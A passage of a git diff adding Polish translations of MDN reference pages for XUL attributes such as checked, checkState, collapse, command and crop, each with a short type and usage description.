+</li><li> <code>extra2</code>: Drugi opcjonalny przycisk dodatkowy. Można ustawić jego etykietę za pomocą atrybutu <code><code id="a-buttonlabelextra2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonlabelextra2">buttonlabelextra2</a></code></code>.
+</li></ul>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/checked/index.html b/files/pl/mozilla/tech/xul/atrybut/checked/index.html
new file mode 100644
index 0000000000..383fbd8d13
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/checked/index.html
@@ -0,0 +1,17 @@
+---
+title: checked
+slug: Mozilla/Tech/XUL/Atrybut/checked
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/checked
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-checked"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/checked">checked</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy przycisk jest zaznaczony. Konieczne jest ustawienie atrybutu <code><code id="a-type"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code></code> na <code>checkbox</code> lub <code>radio</code>, aby zmiana atrybutu <code>checked</code> mogła odnosić jakiekolwiek skutki.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/checkstate/index.html b/files/pl/mozilla/tech/xul/atrybut/checkstate/index.html
new file mode 100644
index 0000000000..62eb4ec398
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/checkstate/index.html
@@ -0,0 +1,17 @@
+---
+title: checkState
+slug: Mozilla/Tech/XUL/Atrybut/checkState
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/checkState
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-checkState"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/checkState">checkState</a></code>
+</dt><dd> Typ: <i>integer</i>, wartość <code>0</code>, <code>1</code> lub <code>2</code>
+</dd><dd> Ten atrybut może być użyty do utworzenia przycisków trójstanowych, ponumerowanych 0, 1 i 2. W stanie 0 lub 1 naciśnięcie przycisku spowoduje przełączenie go do stanu przeciwnego. To znaczy, że przycisk działa podobnie jak pole wyboru, z wyjątkiem tym, że jest tu także stan trzeci, który musi być ustawiony ręcznie poprzez dostosowanie stanu zaznaczenia. Jeśli chcemy dostosować różne zachowania stanu przycisku, musimy ustawić atrybut <code id="a-autoCheck"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autoCheck">autoCheck</a></code> na <code>false</code> i dostosować stany przycisku za pomocą skryptu. Atrybut <code id="a-type"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code> musi być ustawiony na <code>checkbox</code> dla przycisków ze stanem zaznaczenia. Stałe dla dostępnych wartości dla tego atrybutu znajdują się w interfejsie <a href="pl/NsIDOMXULButtonElement">nsIDOMXULButtonElement</a>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/class/index.html b/files/pl/mozilla/tech/xul/atrybut/class/index.html
new file mode 100644
index 0000000000..4c1fe73029
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/class/index.html
@@ -0,0 +1,17 @@
+---
+title: class
+slug: Mozilla/Tech/XUL/Atrybut/class
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/class
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Definiuje klasę stylu dla elementu. Wiele klas może być określanych przez oddzielenie ich spacją.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/closebutton/index.html b/files/pl/mozilla/tech/xul/atrybut/closebutton/index.html
new file mode 100644
index 0000000000..b6aafc5e7b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/closebutton/index.html
@@ -0,0 +1,17 @@
+---
+title: closebutton
+slug: Mozilla/Tech/XUL/Atrybut/closebutton
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/closebutton
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-closebutton"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/closebutton">closebutton</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli ten atrybut jest ustawiony na <code>true</code>, to wiersz <code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code> będzie miał przycisk "Nowa karta" i przycisk "Zamknij" na swoim końcu. Ta cecha jest stosowana przez element <code><a href="/pl/docs/Mozilla/Tech/XUL/tabbrowser" title="tabbrowser">tabbrowser</a></code>, aby dostarczyć ułatwienie dla dodania lub zamykania kart. Możemy jej ustawić (przypisać) obrazek do 'Nowej karty' i przycisku 'Zamknij' poprzez zaimplementowanie ich do poszczególnych klas <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/tabs-newbutton">tabs-newbutton</a></code> i <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/tabs-closebutton">tabs-closebutton</a></code>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/coalesceduplicatearcs/index.html b/files/pl/mozilla/tech/xul/atrybut/coalesceduplicatearcs/index.html
new file mode 100644
index 0000000000..fe34beb905
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/coalesceduplicatearcs/index.html
@@ -0,0 +1,18 @@
+---
+title: coalesceduplicatearcs
+slug: Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/coalesceduplicatearcs
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jakikolwiek poprawny element, który posiada atrybut źródła danych. Kiedy wiele źródeł danych jest użytych, jedno może przesłaniać twierdzenie drugiego. Ten atrybut, jeśli jest prawdą, która jest domyślnym ustawieniem, pozwala danym źródłowym na negację wcześniejszego twierdzenia.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/collapse/index.html b/files/pl/mozilla/tech/xul/atrybut/collapse/index.html
new file mode 100644
index 0000000000..66398a037c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/collapse/index.html
@@ -0,0 +1,27 @@
+---
+title: collapse
+slug: Mozilla/Tech/XUL/Atrybut/collapse
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/collapse
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-collapse"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapse">collapse</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ jedna z wartości poniżej</i>
+ </dd>
+ <dd>
+ Określa, która strona rozdzielacza <code><a href="/pl/docs/Mozilla/Tech/XUL/splitter" title="splitter">splitter</a></code> jest zawinięta, kiedy jest kliknięty jego grippy. Jeśli ten atrybut nie jest określony, rozdzielacz nie będzie przypadkiem zawinięty. Powinieneś dodać element <code><a href="/pl/docs/Mozilla/Tech/XUL/grippy" title="grippy">grippy</a></code> wewnątrz rozdzielacza, kiedy chcesz użyć go do zawinięcia.</dd>
+</dl>
+<ul>
+ <li><code>none</code>: Brak zawinięcia.</li>
+ <li><code>before</code>: Kiedy grippy jest kliknięty, element będący przed rozdzielaczem i mający tego samego rodzica jest zwinięty, więc jego szerokość lub wysokość wyniesie 0.</li>
+ <li><code>after</code>: Kiedy grippy jest kliknięty, element będący po rozdzielaczu i mający tego samego rodzica jest zwinięty, więc jego szerokość lub wysokość wyniesie 0.</li>
+ <li><code>both</code> (tylko w Gecko 1.9+): Oba elementy rozdzielacza; przed i po nim mogą być zawinięte, jeśli rozmiar tego elementu będzie spadał do minimalnego rozmiaru odpowiedniego do pozycji rozdzielacza.</li>
+</ul>
diff --git a/files/pl/mozilla/tech/xul/atrybut/collapsed/index.html b/files/pl/mozilla/tech/xul/atrybut/collapsed/index.html
new file mode 100644
index 0000000000..871015a595
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/collapsed/index.html
@@ -0,0 +1,21 @@
+---
+title: collapsed
+slug: Mozilla/Tech/XUL/Atrybut/collapsed
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/collapsed
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Jeśli <code>true</code>, to element jest zawinięty i nie będzie wyświetlony. Jest równoważny do ustawienia widoczności własności CSS 'collapse'.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/color/index.html b/files/pl/mozilla/tech/xul/atrybut/color/index.html
new file mode 100644
index 0000000000..31c3ea334b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/color/index.html
@@ -0,0 +1,21 @@
+---
+title: color
+slug: Mozilla/Tech/XUL/Atrybut/color
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/color
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-color"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/color">color</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kolor jako łańcuch znaków</i>
+ </dd>
+ <dd>
+ Aktualnie wybrany kolor. Ulega modyfikacji kiedy użytkownik zaznaczy inną wartość koloru. Łańcuch znaków koloru przydzielamy w formie #RRGGBB do tej własności, aby zmienić wybrany kolor.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/colorpicker.type/index.html b/files/pl/mozilla/tech/xul/atrybut/colorpicker.type/index.html
new file mode 100644
index 0000000000..498e9c8096
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/colorpicker.type/index.html
@@ -0,0 +1,16 @@
+---
+title: colorpicker.type
+slug: Mozilla/Tech/XUL/Atrybut/colorpicker.type
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/colorpicker.type
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <a href="pl/XUL/Atrybut/colorpicker.type">type</a>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Jeśli ten atrybut nie jest prezentowany, to colorpicker jest wyświetlony wewnątrz okna. Jeśli jest ustawiony w tekście przycisku (<code>button</code>), to colorpicker jest wyświetlony jako przycisk. Kiedy użytkownik naciśnie przycisk, pojawi się okienko popup, z którego użytkownik może wybrać kolor. </dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/cols/index.html b/files/pl/mozilla/tech/xul/atrybut/cols/index.html
new file mode 100644
index 0000000000..a8f563f2a4
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/cols/index.html
@@ -0,0 +1,21 @@
+---
+title: cols
+slug: Mozilla/Tech/XUL/Atrybut/cols
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/cols
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-cols"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/cols">cols</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Liczba kolumn w polu tekstowym.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/command/index.html b/files/pl/mozilla/tech/xul/atrybut/command/index.html
new file mode 100644
index 0000000000..7520ebdf03
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/command/index.html
@@ -0,0 +1,23 @@
+---
+title: command
+slug: Mozilla/Tech/XUL/Atrybut/command
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/command
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-command"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/command">command</a></code>
+</dt><dd> Typ: <i>id elementu</i>
+</dd><dd> Ustawiony na wartość atrybutu <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/command" title="command">command</a></code>, obserwowanego przez ten element.
+</dd></dl>
+<div class="noinclude">
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>&lt;command id="cmd_openhelp" oncommand="alert('Help');"/&gt;
+&lt;button label="Help" command="cmd_openhelp"/&gt;
+&lt;button label="More Help" command="cmd_openhelp"/&gt;
+</pre>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+<p>Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/command" title="command">command</a></code></code>, <code><code><a href="/pl/docs/Mozilla/Tech/XUL/commandset" title="commandset">commandset</a></code></code> i atrybut <code><code id="a-oncommand"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/oncommand">oncommand</a></code></code>.
+</p>
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/container/index.html b/files/pl/mozilla/tech/xul/atrybut/container/index.html
new file mode 100644
index 0000000000..26283888df
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/container/index.html
@@ -0,0 +1,21 @@
+---
+title: container
+slug: Mozilla/Tech/XUL/Atrybut/container
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/container
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Ustaw na <code>true</code>, jeśli element spełnia funkcję jako kontener, który posiada elementy potomne. Będzie ustawiony jako potrzebny w kreatorze szablonów.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/containment/index.html b/files/pl/mozilla/tech/xul/atrybut/containment/index.html
new file mode 100644
index 0000000000..2af4cdbf2d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/containment/index.html
@@ -0,0 +1,25 @@
+---
+title: containment
+slug: Mozilla/Tech/XUL/Atrybut/containment
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/containment
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ URI predykatu RDF</i>
+ </dd>
+ <dd>
+ Ten atrybut określa własności RDF, które sygnalizują, że źródło jest kontenerem. Kiedy generujemy zawartość z szablonu to jest stosowany do określenia, które zasoby z bazy danych są kontenerami i w ten sposób posiada węzły potomne i które nie są kontenerami.</dd>
+</dl>
+<dl>
+ <dd>
+ Ten atrybut powinien zostać umieszczony w tym samym elemencie, w którym są źródła danych i atrybuty <b>ref</b>. Może być ustawiona jedna spacja przerwy w liście własności RDF lub źródeł.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/contentcontextmenu/index.html b/files/pl/mozilla/tech/xul/atrybut/contentcontextmenu/index.html
new file mode 100644
index 0000000000..22c6f6b939
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/contentcontextmenu/index.html
@@ -0,0 +1,21 @@
+---
+title: contentcontextmenu
+slug: Mozilla/Tech/XUL/Atrybut/contentcontextmenu
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/contentcontextmenu
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-contentcontextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contentcontextmenu">contentcontextmenu</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code></i>
+ </dd>
+ <dd>
+ Odniesienie do menu kontekstowego dla obszaru kontekstowego w <code><a href="/pl/docs/Mozilla/Tech/XUL/tabbrowser" title="tabbrowser">tabbrowser</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/contenttooltip/index.html b/files/pl/mozilla/tech/xul/atrybut/contenttooltip/index.html
new file mode 100644
index 0000000000..629f47c464
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/contenttooltip/index.html
@@ -0,0 +1,21 @@
+---
+title: contenttooltip
+slug: Mozilla/Tech/XUL/Atrybut/contenttooltip
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/contenttooltip
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-contenttooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contenttooltip">contenttooltip</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/tooltip" title="tooltip">tooltip</a></code></i>
+ </dd>
+ <dd>
+ Odniesienie do elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/tooltip" title="tooltip">tooltip</a></code> będącego w użyciu dla obszaru kontekstowego w <code><a href="/pl/docs/Mozilla/Tech/XUL/tabbrowser" title="tabbrowser">tabbrowser</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/contextmenu/index.html b/files/pl/mozilla/tech/xul/atrybut/contextmenu/index.html
new file mode 100644
index 0000000000..c81519190a
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/contextmenu/index.html
@@ -0,0 +1,18 @@
+---
+title: contextmenu
+slug: Mozilla/Tech/XUL/Atrybut/contextmenu
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/contextmenu
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>
+</dt><dd> Typ: <i>id elementu popup</i>
+</dd><dd> Alternatywna nazwa dla atrybutu <code>context</code>, jednakże odpowiada również własności skryptu 'contextmenu'.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/control/index.html b/files/pl/mozilla/tech/xul/atrybut/control/index.html
new file mode 100644
index 0000000000..6e3be23342
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/control/index.html
@@ -0,0 +1,15 @@
+---
+title: control
+slug: Mozilla/Tech/XUL/Atrybut/control
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/control
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-control"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/control">control</a></code>
+</dt><dd> Typ: <i>id elementu</i>
+</dd><dd> Ten atrybut określa <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> elementu, z którym powiązana jest etykieta. Kiedy użytkownik na nią kliknie, połączony element staje się aktywny (focus).
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/crop/index.html b/files/pl/mozilla/tech/xul/atrybut/crop/index.html
new file mode 100644
index 0000000000..0540b42d36
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/crop/index.html
@@ -0,0 +1,26 @@
+---
+title: crop
+slug: Mozilla/Tech/XUL/Atrybut/crop
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/crop
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-crop"><a href="http://api/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>
+</dt><dd> Typ: <i>jedna z poniższych wartości</i>
+</dd><dd> Jeśli etykieta elementu jest zbyt duża by zmieścić się w danym miejscu, to jej tekst zostanie skrócony po stronie określonej przy pomocy atrybutu <code>crop</code>. Wycięty fragment tekstu zostanie zastąpiony wielokropkiem. Jeśli kierunek pudełka jest określony w lewą stronę, to skrócenie tekstu nastąpi w tym samym kierunku (czyli z lewej strony):
+</dd></dl>
+<ul><li> <code>start</code>: Tekst będzie skrócony z lewej strony.
+</li><li> <code>end</code>: Tekst będzie skrócony z prawej strony.
+</li><li> <code>left</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z lewej strony.
+</li><li> <code>right</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z prawej strony.
+</li><li> <code>center</code>: Tekst będzie skrócony w środku, pokazując oba końce: początek i koniec normalnego tekstu. </li><li> <code>none</code>: Tekst nie będzie skrócony przy zastosowaniu wielokropka. Jednakże, tekst skrócony zostanie po prostu obcięty, jeśli będzie za duży. Strona skrócenia owego tekstu zależy od rozmieszczenia tekstu określonego w arkuszu stylów CSS.
+</li></ul>
+<pre class="eval"> menupopup &gt; menuitem, menupopup &gt; menu { max-width: none; }
+</pre>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/curpos/index.html b/files/pl/mozilla/tech/xul/atrybut/curpos/index.html
new file mode 100644
index 0000000000..f66c5ebff1
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/curpos/index.html
@@ -0,0 +1,17 @@
+---
+title: curpos
+slug: Mozilla/Tech/XUL/Atrybut/curpos
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/curpos
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-curpos"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/curpos">curpos</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Aktualna pozycja paska przewijania (<code><a href="/pl/docs/Mozilla/Tech/XUL/scrollbar" title="scrollbar">scrollbar</a></code>), która posiada zakres od 0 do wartości atrybutu <code id="a-maxpos"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxpos">maxpos</a></code>. Domyślną wartością jest 0.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/current/index.html b/files/pl/mozilla/tech/xul/atrybut/current/index.html
new file mode 100644
index 0000000000..a0667f5255
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/current/index.html
@@ -0,0 +1,16 @@
+---
+title: current
+slug: Mozilla/Tech/XUL/Atrybut/current
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+ - Strony_wymagające_dopracowania
+translation_of: Archive/Mozilla/XUL/Attribute/current
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+
+<dl>
+ <dt><code id="a-current"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/current">current</a></code></dt>
+ <dd>Typ:<em>boolean</em></dd>
+ <dd>Ten atrybut będzie ustawiony na <code>true</code>, jeśli <code>listitem</code> jest aktualną pozycją. Jest typowo używany przez motyw do <strong>customize the focus ring.</strong> Aby zaznaczyć aktualną pozycję w <code><a href="/pl/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code>, <code>listbox</code> używa do tego własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectedItem">selectedItem</a></span></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/currentset/index.html b/files/pl/mozilla/tech/xul/atrybut/currentset/index.html
new file mode 100644
index 0000000000..132b66c27f
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/currentset/index.html
@@ -0,0 +1,23 @@
+---
+title: currentset
+slug: Mozilla/Tech/XUL/Atrybut/currentset
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/currentset
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-currentset"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/currentset">currentset</a></code></dt>
+ <dd>
+ <b><span class="highlightred">Tylko Firefox</span></b></dd>
+ <dd>
+ Typ:
+ <i>
+ łańcuch znaków oddzielony przecinkiem</i>
+ </dd>
+ <dd>
+ Aktualne ustawienia wyświetlanych pozycji na <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>. Będą modyfikowane, gdy użytkownik przystosuje do własnych ustawień pasek narzędzi. Wartość tego atrybutu powinna być listą pozycji ID z <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code> oddzielonych przecinkiem lub dodatkowo w następujący sposób: "<code>separator</code>", "<code>spring</code>", "<code>spacer</code>".</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/customindex/index.html b/files/pl/mozilla/tech/xul/atrybut/customindex/index.html
new file mode 100644
index 0000000000..51283d5a85
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/customindex/index.html
@@ -0,0 +1,23 @@
+---
+title: customindex
+slug: Mozilla/Tech/XUL/Atrybut/customindex
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
